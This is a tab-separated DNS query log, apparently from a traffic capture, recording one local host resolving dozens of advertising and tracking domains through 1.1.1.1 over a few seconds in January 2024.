Jan 11, 2024 00:27:15.653134108 CET	192.168.2.4	1.1.1.1	0x4dc5	Standard query (0)	service.idsync.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.653134108 CET	192.168.2.4	1.1.1.1	0xd550	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.656212091 CET	192.168.2.4	1.1.1.1	0x1133	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.792033911 CET	192.168.2.4	1.1.1.1	0x40c4	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.792382002 CET	192.168.2.4	1.1.1.1	0xdca7	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.792896986 CET	192.168.2.4	1.1.1.1	0xb1ae	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.793329954 CET	192.168.2.4	1.1.1.1	0x761c	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.868674994 CET	192.168.2.4	1.1.1.1	0x6c43	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.869131088 CET	192.168.2.4	1.1.1.1	0x1460	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.878123999 CET	192.168.2.4	1.1.1.1	0xe1fe	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.878456116 CET	192.168.2.4	1.1.1.1	0xeece	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:15.971787930 CET	192.168.2.4	1.1.1.1	0x44e2	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:15.973552942 CET	192.168.2.4	1.1.1.1	0x8f42	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.267873049 CET	192.168.2.4	1.1.1.1	0x87d3	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.268296957 CET	192.168.2.4	1.1.1.1	0x5314	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.270724058 CET	192.168.2.4	1.1.1.1	0x2f72	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.271224022 CET	192.168.2.4	1.1.1.1	0xe175	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.271783113 CET	192.168.2.4	1.1.1.1	0xc586	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.272114038 CET	192.168.2.4	1.1.1.1	0x8e3d	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.272636890 CET	192.168.2.4	1.1.1.1	0x6e91	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.272850990 CET	192.168.2.4	1.1.1.1	0xa02a	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.273308039 CET	192.168.2.4	1.1.1.1	0x2b06	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.273530006 CET	192.168.2.4	1.1.1.1	0x1b68	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.274082899 CET	192.168.2.4	1.1.1.1	0x538e	Standard query (0)	us01.z.antigena.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.274409056 CET	192.168.2.4	1.1.1.1	0xdaeb	Standard query (0)	us01.z.antigena.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.274883986 CET	192.168.2.4	1.1.1.1	0x1285	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.275229931 CET	192.168.2.4	1.1.1.1	0x8d83	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.276124954 CET	192.168.2.4	1.1.1.1	0x3d6	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.276410103 CET	192.168.2.4	1.1.1.1	0xbcd3	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.277730942 CET	192.168.2.4	1.1.1.1	0xcf6b	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.278040886 CET	192.168.2.4	1.1.1.1	0xb8bb	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.279319048 CET	192.168.2.4	1.1.1.1	0x8433	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.280122995 CET	192.168.2.4	1.1.1.1	0x2713	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.300252914 CET	192.168.2.4	1.1.1.1	0x29df	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.300539017 CET	192.168.2.4	1.1.1.1	0xa5e7	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.643136024 CET	192.168.2.4	1.1.1.1	0x21c6	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.643357992 CET	192.168.2.4	1.1.1.1	0x97d8	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.676556110 CET	192.168.2.4	1.1.1.1	0x140e	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.676973104 CET	192.168.2.4	1.1.1.1	0x8b54	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.677896023 CET	192.168.2.4	1.1.1.1	0xfeef	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.677896023 CET	192.168.2.4	1.1.1.1	0xdce6	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.679491043 CET	192.168.2.4	1.1.1.1	0x98e3	Standard query (0)	medianet-match.dotomi.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.679668903 CET	192.168.2.4	1.1.1.1	0xb793	Standard query (0)	medianet-match.dotomi.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.680594921 CET	192.168.2.4	1.1.1.1	0x2e81	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.680594921 CET	192.168.2.4	1.1.1.1	0xd765	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.681613922 CET	192.168.2.4	1.1.1.1	0x1ff2	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.681716919 CET	192.168.2.4	1.1.1.1	0x65e9	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.684465885 CET	192.168.2.4	1.1.1.1	0x15f1	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.685075045 CET	192.168.2.4	1.1.1.1	0xd479	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.688280106 CET	192.168.2.4	1.1.1.1	0x6e81	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.688860893 CET	192.168.2.4	1.1.1.1	0x5102	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.690325975 CET	192.168.2.4	1.1.1.1	0x8a36	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.690325975 CET	192.168.2.4	1.1.1.1	0xa641	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.691410065 CET	192.168.2.4	1.1.1.1	0xcd70	Standard query (0)	b1sync.zemanta.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.691662073 CET	192.168.2.4	1.1.1.1	0xede8	Standard query (0)	b1sync.zemanta.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.706836939 CET	192.168.2.4	1.1.1.1	0x2fca	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.707097054 CET	192.168.2.4	1.1.1.1	0xd764	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.708673954 CET	192.168.2.4	1.1.1.1	0x1403	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.708916903 CET	192.168.2.4	1.1.1.1	0x8f57	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.952426910 CET	192.168.2.4	1.1.1.1	0x31f7	Standard query (0)	noa.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.952924967 CET	192.168.2.4	1.1.1.1	0xbe4d	Standard query (0)	noa.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:16.973366022 CET	192.168.2.4	1.1.1.1	0x2a43	Standard query (0)	nts.media.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.973722935 CET	192.168.2.4	1.1.1.1	0x3d5b	Standard query (0)	nts.media.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.088601112 CET	192.168.2.4	1.1.1.1	0x7da7	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.088753939 CET	192.168.2.4	1.1.1.1	0x4668	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.225064993 CET	192.168.2.4	1.1.1.1	0x843f	Standard query (0)	www.googletagservices.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.226186037 CET	192.168.2.4	1.1.1.1	0xbfb	Standard query (0)	www.googletagservices.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.231941938 CET	192.168.2.4	1.1.1.1	0xb0ea	Standard query (0)	cdn.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.232660055 CET	192.168.2.4	1.1.1.1	0xb3c0	Standard query (0)	cdn.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.415693998 CET	192.168.2.4	1.1.1.1	0x70a0	Standard query (0)	rtb.mfadsrvr.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.415693998 CET	192.168.2.4	1.1.1.1	0xf0b5	Standard query (0)	rtb.mfadsrvr.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.455491066 CET	192.168.2.4	1.1.1.1	0xc56	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.455715895 CET	192.168.2.4	1.1.1.1	0xb356	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.459391117 CET	192.168.2.4	1.1.1.1	0x6044	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.459676027 CET	192.168.2.4	1.1.1.1	0x7cc1	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.476847887 CET	192.168.2.4	1.1.1.1	0xffe6	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.476847887 CET	192.168.2.4	1.1.1.1	0x6707	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.478337049 CET	192.168.2.4	1.1.1.1	0xfe7f	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.478638887 CET	192.168.2.4	1.1.1.1	0x2f17	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.484572887 CET	192.168.2.4	1.1.1.1	0x6b44	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.484572887 CET	192.168.2.4	1.1.1.1	0x3bad	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.489624977 CET	192.168.2.4	1.1.1.1	0x8a22	Standard query (0)	ssp-sync.criteo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.489624977 CET	192.168.2.4	1.1.1.1	0x3efe	Standard query (0)	ssp-sync.criteo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.491406918 CET	192.168.2.4	1.1.1.1	0xc2c3	Standard query (0)	aol-match.dotomi.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.491406918 CET	192.168.2.4	1.1.1.1	0x6a9b	Standard query (0)	aol-match.dotomi.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.554027081 CET	192.168.2.4	1.1.1.1	0xe5b6	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.554543972 CET	192.168.2.4	1.1.1.1	0x7af2	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.567099094 CET	192.168.2.4	1.1.1.1	0xfcad	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.567100048 CET	192.168.2.4	1.1.1.1	0x2550	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.920989990 CET	192.168.2.4	1.1.1.1	0x786a	Standard query (0)	images.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.921123028 CET	192.168.2.4	1.1.1.1	0xecf	Standard query (0)	images.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:17.957962990 CET	192.168.2.4	1.1.1.1	0x48dd	Standard query (0)	trace.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.958275080 CET	192.168.2.4	1.1.1.1	0xd843	Standard query (0)	trace.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.143538952 CET	192.168.2.4	1.1.1.1	0x6f7d	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.143785954 CET	192.168.2.4	1.1.1.1	0x388f	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.332921028 CET	192.168.2.4	1.1.1.1	0x3c3c	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.333152056 CET	192.168.2.4	1.1.1.1	0x67e7	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.337687016 CET	192.168.2.4	1.1.1.1	0x4709	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.337940931 CET	192.168.2.4	1.1.1.1	0x8d12	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.462862968 CET	192.168.2.4	1.1.1.1	0xb60	Standard query (0)	simage4.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.463372946 CET	192.168.2.4	1.1.1.1	0x6efd	Standard query (0)	simage4.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.636113882 CET	192.168.2.4	1.1.1.1	0x79dd	Standard query (0)	gtrace.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.636404991 CET	192.168.2.4	1.1.1.1	0x98ae	Standard query (0)	gtrace.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.645241022 CET	192.168.2.4	1.1.1.1	0x1bd9	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.645524025 CET	192.168.2.4	1.1.1.1	0x33a4	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.646641016 CET	192.168.2.4	1.1.1.1	0xae08	Standard query (0)	service.idsync.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.646918058 CET	192.168.2.4	1.1.1.1	0xe2c	Standard query (0)	service.idsync.analytics.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.648593903 CET	192.168.2.4	1.1.1.1	0x51cf	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.648929119 CET	192.168.2.4	1.1.1.1	0x5a15	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.652045965 CET	192.168.2.4	1.1.1.1	0x56d1	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.652359962 CET	192.168.2.4	1.1.1.1	0x4167	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.653177977 CET	192.168.2.4	1.1.1.1	0xd6c7	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.653471947 CET	192.168.2.4	1.1.1.1	0xffaa	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.755388975 CET	192.168.2.4	1.1.1.1	0x46da	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.755582094 CET	192.168.2.4	1.1.1.1	0x64e6	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.757302999 CET	192.168.2.4	1.1.1.1	0xc91f	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.757493019 CET	192.168.2.4	1.1.1.1	0xf568	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.759762049 CET	192.168.2.4	1.1.1.1	0x5d83	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.759938955 CET	192.168.2.4	1.1.1.1	0x9889	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.769108057 CET	192.168.2.4	1.1.1.1	0x5db7	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.769294024 CET	192.168.2.4	1.1.1.1	0x9e1d	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.776062012 CET	192.168.2.4	1.1.1.1	0xb31d	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.776293993 CET	192.168.2.4	1.1.1.1	0x44ff	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.778590918 CET	192.168.2.4	1.1.1.1	0xd36f	Standard query (0)	nts.media.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.779191971 CET	192.168.2.4	1.1.1.1	0x4378	Standard query (0)	nts.media.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.780431032 CET	192.168.2.4	1.1.1.1	0x59ee	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.780695915 CET	192.168.2.4	1.1.1.1	0xea99	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.783416986 CET	192.168.2.4	1.1.1.1	0x876f	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.783699989 CET	192.168.2.4	1.1.1.1	0xb200	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.784198046 CET	192.168.2.4	1.1.1.1	0x4d26	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.784440994 CET	192.168.2.4	1.1.1.1	0xee39	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:18.785691023 CET	192.168.2.4	1.1.1.1	0x6ddb	Standard query (0)	cs.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.785988092 CET	192.168.2.4	1.1.1.1	0xa869	Standard query (0)	cs.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.022347927 CET	192.168.2.4	1.1.1.1	0x7be5	Standard query (0)	creativecdn.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.022504091 CET	192.168.2.4	1.1.1.1	0xac8	Standard query (0)	creativecdn.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.043528080 CET	192.168.2.4	1.1.1.1	0x818c	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.043693066 CET	192.168.2.4	1.1.1.1	0xf225	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.065737963 CET	192.168.2.4	1.1.1.1	0xb95f	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.065912008 CET	192.168.2.4	1.1.1.1	0xafc9	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.113423109 CET	192.168.2.4	1.1.1.1	0xefdb	Standard query (0)	sync-dmp.mobtrakk.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.113588095 CET	192.168.2.4	1.1.1.1	0xc641	Standard query (0)	sync-dmp.mobtrakk.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.115165949 CET	192.168.2.4	1.1.1.1	0xd75c	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.115354061 CET	192.168.2.4	1.1.1.1	0xbe4a	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.120701075 CET	192.168.2.4	1.1.1.1	0x87ac	Standard query (0)	images.mediago.io	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.121022940 CET	192.168.2.4	1.1.1.1	0xf2b2	Standard query (0)	images.mediago.io	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.185729027 CET	192.168.2.4	1.1.1.1	0xab23	Standard query (0)	cdn.cmp.advertising.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.185914993 CET	192.168.2.4	1.1.1.1	0x5b40	Standard query (0)	cdn.cmp.advertising.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.693320990 CET	192.168.2.4	1.1.1.1	0x552d	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.693504095 CET	192.168.2.4	1.1.1.1	0x6816	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.694171906 CET	192.168.2.4	1.1.1.1	0x23be	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.694319010 CET	192.168.2.4	1.1.1.1	0xbe20	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.791544914 CET	192.168.2.4	1.1.1.1	0x832b	Standard query (0)	bh.contextweb.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.791718960 CET	192.168.2.4	1.1.1.1	0xaac	Standard query (0)	bh.contextweb.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.828155994 CET	192.168.2.4	1.1.1.1	0x72ec	Standard query (0)	i.ctnsnet.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:19.828325987 CET	192.168.2.4	1.1.1.1	0xc403	Standard query (0)	i.ctnsnet.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:19.870100021 CET	192.168.2.4	1.1.1.1	0xc087	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.302134037 CET	192.168.2.4	1.1.1.1	0x71e7	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.302328110 CET	192.168.2.4	1.1.1.1	0xa073	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:20.393666029 CET	192.168.2.4	1.1.1.1	0x2c42	Standard query (0)	a.beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.393841028 CET	192.168.2.4	1.1.1.1	0x8d28	Standard query (0)	a.beap.gemini.yahoo.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:20.397906065 CET	192.168.2.4	1.1.1.1	0xf31c	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.398077965 CET	192.168.2.4	1.1.1.1	0xfb4b	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:20.465240955 CET	192.168.2.4	1.1.1.1	0x899d	Standard query (0)	images.taboola.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.465418100 CET	192.168.2.4	1.1.1.1	0x9846	Standard query (0)	images.taboola.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:20.824294090 CET	192.168.2.4	1.1.1.1	0xec4c	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:20.824484110 CET	192.168.2.4	1.1.1.1	0xc851	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.145389080 CET	192.168.2.4	1.1.1.1	0x439	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.145559072 CET	192.168.2.4	1.1.1.1	0x846c	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.250685930 CET	192.168.2.4	1.1.1.1	0x7e4f	Standard query (0)	beacon.lynx.cognitivlabs.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.250858068 CET	192.168.2.4	1.1.1.1	0x22ce	Standard query (0)	beacon.lynx.cognitivlabs.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.307265043 CET	192.168.2.4	1.1.1.1	0x4f41	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.307449102 CET	192.168.2.4	1.1.1.1	0xc7ec	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.493077040 CET	192.168.2.4	1.1.1.1	0x244d	Standard query (0)	ums.acuityplatform.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.493547916 CET	192.168.2.4	1.1.1.1	0x80d2	Standard query (0)	ums.acuityplatform.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.667761087 CET	192.168.2.4	1.1.1.1	0x312a	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.668003082 CET	192.168.2.4	1.1.1.1	0x7baa	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
Jan 11, 2024 00:27:21.833655119 CET	192.168.2.4	1.1.1.1	0xcab5	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:21.833839893 CET	192.168.2.4	1.1.1.1	0x1ffa	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:22.088313103 CET	192.168.2.4	1.1.1.1	0x6321	Standard query (0)	gocm.c.appier.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.088490963 CET	192.168.2.4	1.1.1.1	0x8249	Standard query (0)	gocm.c.appier.net	65	IN (0x0001)	false
Jan 11, 2024 00:27:22.141335964 CET	192.168.2.4	1.1.1.1	0xcf88	Standard query (0)	sync.technoratimedia.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.141499996 CET	192.168.2.4	1.1.1.1	0xabcc	Standard query (0)	sync.technoratimedia.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:22.189446926 CET	192.168.2.4	1.1.1.1	0x6fd8	Standard query (0)	ipac.ctnsnet.com	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.189625025 CET	192.168.2.4	1.1.1.1	0x65ca	Standard query (0)	ipac.ctnsnet.com	65	IN (0x0001)	false
Jan 11, 2024 00:27:22.343931913 CET	192.168.2.4	1.1.1.1	0x336a	Standard query (0)	matching.truffle.bid	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.344099045 CET	192.168.2.4	1.1.1.1	0x7eb2	Standard query (0)	matching.truffle.bid	65	IN (0x0001)	false
Jan 11, 2024 00:27:22.437872887 CET	192.168.2.4	1.1.1.1	0x1347	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:22.438086033 CET	192.168.2.4	1.1.1.1	0x881e	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
